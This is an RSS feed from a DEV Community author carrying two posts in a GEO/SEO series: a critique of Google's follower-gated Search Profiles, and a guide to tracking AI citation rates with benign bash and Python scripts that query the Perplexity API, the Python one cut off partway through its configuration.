<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aribu js</title>
    <description>The latest articles on DEV Community by Aribu js (@digital-abetka).</description>
    <link>https://dev.to/digital-abetka</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3897149%2Fd594fc7f-9c34-47fd-9019-4af44f976871.png</url>
      <title>DEV Community: Aribu js</title>
      <link>https://dev.to/digital-abetka</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/digital-abetka"/>
    <language>en</language>
    <item>
      <title>Google's 100k Follower Wall: Why GEO Is the Indie Dev's Best Bet in 2026</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Thu, 11 Jun 2026 10:52:05 +0000</pubDate>
      <link>https://dev.to/digital-abetka/googles-100k-follower-wall-why-geo-is-the-indie-devs-best-bet-in-2026-2597</link>
      <guid>https://dev.to/digital-abetka/googles-100k-follower-wall-why-geo-is-the-indie-devs-best-bet-in-2026-2597</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;BLUF - Part 5 (Series Finale) of the GEO/SEO 2026 series&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The event:&lt;/strong&gt; Google launched Search Profiles with a Follow button in the SERP - but locked it behind a minimum of 100,000 followers on YouTube, X, or Instagram (300,000 on TikTok).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The paradox:&lt;/strong&gt; In trying to strengthen E-E-A-T, Google equated social popularity with technical expertise - cutting off real engineers from organic search visibility.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The mistake:&lt;/strong&gt; Developer communities on Dev.to, Medium, and GitHub will not start posting TikToks to hit a follower counter. They'll switch distribution channels.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The opportunity:&lt;/strong&gt; RAG pipelines (Perplexity, ChatGPT Search) evaluate content on fact density, code quality, and server speed - not follower counts. That's a level playing field.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Google's New Game and the 100k Follower Wall
&lt;/h2&gt;

&lt;p&gt;Google's June 2026 announcement of Search Profiles officially codified the company's new philosophy on author authority. An integrated "Follow" button appearing directly in search results is framed as a measure to strengthen E-E-A-T signals. But the implementation detail is the problem: access to verified author profiles and direct content distribution is restricted to creators with at least 100,000 followers on YouTube, X, or Instagram - or 300,000 on TikTok.&lt;/p&gt;

&lt;p&gt;This sets a troubling precedent. When did an entertainment follower count become the primary signal for evaluating engineering expertise?&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Why Popularity Is Not E-E-A-T
&lt;/h2&gt;

&lt;p&gt;The stated goal of E-E-A-T (Experience, Expertise, Authoritativeness, Trustworthiness) has always been content quality and credibility. Search Profiles as implemented move in the opposite direction - they hand the highest-visibility distribution channel to influencers whose authority is measured in engagement metrics, not in working code.&lt;/p&gt;

&lt;p&gt;Deep technical writing about architectural edge cases, memory leaks in specific library versions, or subtle misconfigurations naturally attracts a small but highly qualified audience. That's not a failure of reach - that's what genuine expertise looks like. It does not scale to 100k followers on entertainment platforms.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Author Evaluation Signal&lt;/th&gt;
&lt;th&gt;Google Search Profiles&lt;/th&gt;
&lt;th&gt;Real Engineering Criteria&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Primary trust indicator&lt;/td&gt;
&lt;td&gt;100,000+ social media followers&lt;/td&gt;
&lt;td&gt;Clean code, working repos, unique terminal output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Content evaluated by&lt;/td&gt;
&lt;td&gt;Video hype, likes, clickbait engagement&lt;/td&gt;
&lt;td&gt;Solving real architectural edge-case bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primary distribution platforms&lt;/td&gt;
&lt;td&gt;TikTok, Instagram Reels, YouTube Shorts&lt;/td&gt;
&lt;td&gt;Dev.to, GitHub, personal domain, HN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. The Closed Ecosystem Mistake
&lt;/h2&gt;

&lt;p&gt;Technical communities on Dev.to, Medium, and GitHub have grown around open-source principles and practical utility. A developer with 700 engaged followers on Dev.to, a strong backlink profile to their personal domain, and demonstrated topical authority in a specific niche has &lt;em&gt;real&lt;/em&gt; E-E-A-T by any honest definition.&lt;/p&gt;

&lt;p&gt;Under Google's new framework, that author is invisible to direct distribution tools - because they haven't accumulated entertainment capital on platforms that are structurally hostile to deep technical content.&lt;/p&gt;

&lt;p&gt;Senior engineers, systems architects, and DevOps specialists are not going to film 60-second explainers to chase a vanity metric. By tying visibility to platform follower counts, Google is actively blinding itself to some of the best technical content on the web.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Why GEO Is the Fairer Channel for Indie Developers
&lt;/h2&gt;

&lt;p&gt;While classic Google search builds social walls, AI search engines operate on purely technical criteria. RAG (Retrieval-Augmented Generation) architectures do not have a concept of "influencer." When a model selects sources to cite, it evaluates the mathematical properties of the content:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token information density&lt;/strong&gt; - the concentration of verifiable facts, specific metrics, and code per 200 words. Filler sentences score near zero.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Valid semantic structure&lt;/strong&gt; - the presence of structured HTML, clean JSON-LD schema, and real terminal output that can't be easily fabricated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Infrastructure latency&lt;/strong&gt; - TTFB under 50ms ensures a page is immediately available to AI crawlers; slow hosts get deprioritized in the parsing queue.&lt;/p&gt;

&lt;p&gt;None of these signals have anything to do with how many people follow you on Instagram.&lt;/p&gt;

&lt;p&gt;This is why GEO (Generative Engine Optimization) is arguably the most socially fair distribution mechanism for independent authors in 2026. The depth of your content and the quality of your code determine your citation rate - not your marketing budget or your audience size on entertainment platforms.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The Indie Developer Survival Checklist for 2026
&lt;/h2&gt;

&lt;p&gt;If you've followed this series from Part 1, you already have the technical infrastructure in place. The strategic layer is simpler:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Ignore follower thresholds on entertainment platforms entirely - double down on niche expertise instead&lt;/li&gt;
&lt;li&gt;[ ] Build topical authority through exhaustive technical case studies on your personal domain&lt;/li&gt;
&lt;li&gt;[ ] Automate JSON-LD schema and BLUF blocks inside your SSG (Part 3 of this series covers Eleventy automation)&lt;/li&gt;
&lt;li&gt;[ ] Diversify distribution: Dev.to, GitHub, Hacker News, technical Discords - communities that evaluate code over clout&lt;/li&gt;
&lt;li&gt;[ ] Track your AI citation rate with the Python script from Part 4 - that's your new north-star metric&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Series Wrap-Up
&lt;/h2&gt;

&lt;p&gt;This is the last post in the GEO/SEO 2026 series. Here's what the five parts covered:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 1 - Technical Architecture:&lt;/strong&gt; robots.txt for AI crawlers, JSON-LD schema, semantic HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 2 - Content Engineering:&lt;/strong&gt; Information density, HTML tables for higher citation rates, BLUF structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 3 - Eleventy Automation:&lt;/strong&gt; Nunjucks templates and shortcodes that generate GEO markup from frontmatter automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 4 - Measurement:&lt;/strong&gt; Perplexity API monitoring script, GA4 AI referrer analysis, Search Console AI Overview filters, Google Sheets dashboard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 5 (this post) - The Bigger Picture:&lt;/strong&gt; Why the follower-gated visibility model is a structural mistake, and why AI search is the level playing field indie developers needed.&lt;/p&gt;




&lt;p&gt;The irony of this series: if Perplexity or ChatGPT Search surface these articles in response to a GEO-related query, that's the proof of concept running live.&lt;/p&gt;

&lt;p&gt;Build fast sites, write dense prose, keep your TTFB under 50ms. ⚡&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What's your take on Google's Search Profiles threshold - reasonable quality filter or gated paywall for attention-economy winners? Drop it in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>seo</category>
      <category>webdev</category>
      <category>career</category>
      <category>discuss</category>
    </item>
    <item>
      <title>GEO Analytics: How to Track Your Citations in ChatGPT and Perplexity</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Thu, 11 Jun 2026 10:25:36 +0000</pubDate>
      <link>https://dev.to/digital-abetka/geo-analytics-how-to-track-your-citations-in-chatgpt-and-perplexity-361c</link>
      <guid>https://dev.to/digital-abetka/geo-analytics-how-to-track-your-citations-in-chatgpt-and-perplexity-361c</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;BLUF - Part 4 (Final) of the GEO/SEO 2026 series&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Problem:&lt;/strong&gt; Classic organic CTR no longer reflects your real reach - a large share of AI traffic hides inside "direct" or goes unrecorded entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The GEO metric:&lt;/strong&gt; &lt;em&gt;citation rate&lt;/em&gt; - the percentage of target queries where an AI search engine cites your domain in its response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Perplexity API + Python script for automated monitoring, GA4 for AI referrer analysis, Google Search Console for AI Overview data, Google Sheets for reporting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; $0 - using the free Perplexity API tier and standard analytics tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series recap:&lt;/strong&gt; [Part 1] Technical Architecture · [Part 2] Content Engineering · [Part 3] Eleventy Automation · &lt;strong&gt;[Part 4] Measurement ← you are here&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why Traditional SEO Metrics No Longer Tell the Full Story
&lt;/h2&gt;

&lt;p&gt;In 2023, GA4 captured the vast majority of organic traffic accurately: a user clicked a link in the SERP and it logged as &lt;code&gt;google / organic&lt;/code&gt;. In 2026, a large portion of web answers are generated directly inside AI interfaces without a click-through. When a referral click does happen, the referrer header is often stripped or non-standard.&lt;/p&gt;

&lt;h3&gt;
  
  
  The "Dark" AI Traffic Problem
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AI Platform&lt;/th&gt;
&lt;th&gt;GA4 Referrer&lt;/th&gt;
&lt;th&gt;Analytics Visibility&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Perplexity&lt;/td&gt;
&lt;td&gt;&lt;code&gt;perplexity.ai&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ Tracked accurately as referral&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChatGPT Search&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chatgpt.com&lt;/code&gt; or empty&lt;/td&gt;
&lt;td&gt;⚠️ Partially hidden in direct&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini / AI Overviews&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;google.com&lt;/code&gt; (blended)&lt;/td&gt;
&lt;td&gt;⚠️ Hard to isolate from organic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft Copilot&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bing.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ Tracked accurately as referral&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude (Anthropic)&lt;/td&gt;
&lt;td&gt;Empty / direct&lt;/td&gt;
&lt;td&gt;❌ Completely hidden in direct&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  New KPIs for Measuring GEO Success
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;What it Measures&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Citation Rate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;% of target prompts where AI references your domain&lt;/td&gt;
&lt;td&gt;Perplexity API + script&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Citation Position&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Your index in the source tray (1-10)&lt;/td&gt;
&lt;td&gt;Perplexity API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI Referral Traffic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Inbound clicks from AI platforms&lt;/td&gt;
&lt;td&gt;GA4 / Plausible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI Overview Impressions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Frequency inside Google AI Overviews&lt;/td&gt;
&lt;td&gt;Google Search Console&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Direct Traffic Share&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Indirect signal for brand authority growth&lt;/td&gt;
&lt;td&gt;GA4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Method 1. Manual Check: Quick Start Without an API
&lt;/h2&gt;

&lt;p&gt;Before setting up automation, run a manual audit once a week. It takes under 10 minutes and gives you an immediate read on your visibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Auditing Perplexity manually:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;a href="https://perplexity.ai" rel="noopener noreferrer"&gt;perplexity.ai&lt;/a&gt; in a clean Incognito window to eliminate personalization.&lt;/li&gt;
&lt;li&gt;Submit a long-tail prompt your article targets - e.g., "how to configure SSH deployment without FTP".&lt;/li&gt;
&lt;li&gt;Check the &lt;strong&gt;Sources&lt;/strong&gt; panel on the right or below the response.&lt;/li&gt;
&lt;li&gt;Log results in a spreadsheet: Date, Prompt, Cited (Yes/No), Position.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For &lt;strong&gt;ChatGPT Search&lt;/strong&gt;, run the same flow at &lt;code&gt;chatgpt.com&lt;/code&gt; with the web search toggle (the globe icon) explicitly enabled. Citations appear as structured cards below the response.&lt;/p&gt;




&lt;h2&gt;
  
  
  Method 2. Bash Script for Quick Checks via Perplexity API
&lt;/h2&gt;

&lt;p&gt;Perplexity's free developer API tier grants 1,000 queries per month - more than enough for weekly sweeps of a niche technical blog.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# geo-check.sh - Quick citation check via Perplexity API&lt;/span&gt;
&lt;span class="c"&gt;# Usage: PERPLEXITY_API_KEY=your_key GEO_DOMAIN=your-domain.com bash geo-check.sh&lt;/span&gt;

&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GEO_DOMAIN&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;your&lt;/span&gt;&lt;span class="p"&gt;-domain.com&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PERPLEXITY_API_KEY&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;CITED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0

&lt;span class="c"&gt;# Target queries - adapt to your article topics&lt;/span&gt;
&lt;span class="nv"&gt;QUERIES&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;
  &lt;span class="s2"&gt;"GEO site optimization 2026"&lt;/span&gt;
  &lt;span class="s2"&gt;"Eleventy JSON-LD schema automation"&lt;/span&gt;
  &lt;span class="s2"&gt;"SSH deployment with git hooks without FTP"&lt;/span&gt;
  &lt;span class="s2"&gt;"content engineering for ChatGPT citations"&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"GEO Citation Check - &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Domain: &lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;query &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;QUERIES&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;

  &lt;span class="nv"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"https://api.perplexity.ai/chat/completions"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$API_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{
      &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;model&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;llama-3.1-sonar-small-128k-online&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,
      &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;messages&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: [{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;role&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;content&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}],
      &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;return_citations&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: true
    }"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-qi&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✓ [&lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;] &lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nv"&gt;CITED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;CITED &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
  &lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✗ [&lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;] &lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;fi

  &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;2  &lt;span class="c"&gt;# Stay within free tier rate limits&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Citation Rate: &lt;/span&gt;&lt;span class="nv"&gt;$CITED&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; CITED &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; TOTAL &lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;%)"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Method 3. Python Script with CSV Logging
&lt;/h2&gt;

&lt;p&gt;The bash script gives a one-off snapshot. This Python version appends results to a CSV file, so you can chart trends over time in Google Sheets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
geo_monitor.py - Automated GEO citation monitoring.
Appends results to a CSV file for dashboard import.

Requirements: pip install requests
Usage: PERPLEXITY_API_KEY=your_key python3 geo_monitor.py
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="c1"&gt;# ── Configuration ─────────────────────────────────────────
&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GEO_DOMAIN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;your-domain.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PERPLEXITY_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;geo_citations.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;RATE_LIMIT_DELAY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;  &lt;span class="c1"&gt;# seconds between API calls
&lt;/span&gt;
&lt;span class="n"&gt;QUERIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GEO site optimization 2026 strategies&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Eleventy automated JSON-LD schema generation&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content engineering for ChatGPT Perplexity citations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH deploy with git hooks without FTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# ──────────────────────────────────────────────────────────
&lt;/span&gt;

